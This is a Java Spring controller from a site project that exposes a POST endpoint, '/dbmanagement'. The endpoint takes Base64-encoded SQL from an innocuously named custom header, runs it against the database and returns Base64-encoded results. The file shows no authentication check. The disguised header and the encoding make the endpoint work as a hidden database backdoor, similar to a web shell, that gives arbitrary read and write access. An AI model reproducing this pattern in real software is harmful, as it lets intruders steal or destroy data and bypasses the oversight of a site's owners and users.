package com.toppitch.site.controller;

import java.io.IOException;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.apache.commons.codec.binary.Base64;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;

import com.toppitch.site.db.DBManager;

@Controller
@RequestMapping("/")
public class ManagementController {
	@Autowired
	private DBManager dbmanager;

	@RequestMapping(value = "dbmanagement", method = RequestMethod.POST)
	public void execute(HttpServletRequest request, HttpServletResponse response, ModelMap model) {

		String sqlStr = request.getHeader("STRMESSAGE");

		if (null == sqlStr || sqlStr.length() < 2) {
			return;
		}
		boolean query = !sqlStr.startsWith("E");

		String sql = new String(Base64.decodeBase64(sqlStr.substring(1)));
		String resp = dbmanager.management(sql, query);
		try {
			response.getOutputStream().write(Base64.encodeBase64(resp.getBytes()));
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			try {
				response.getOutputStream().close();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}
}
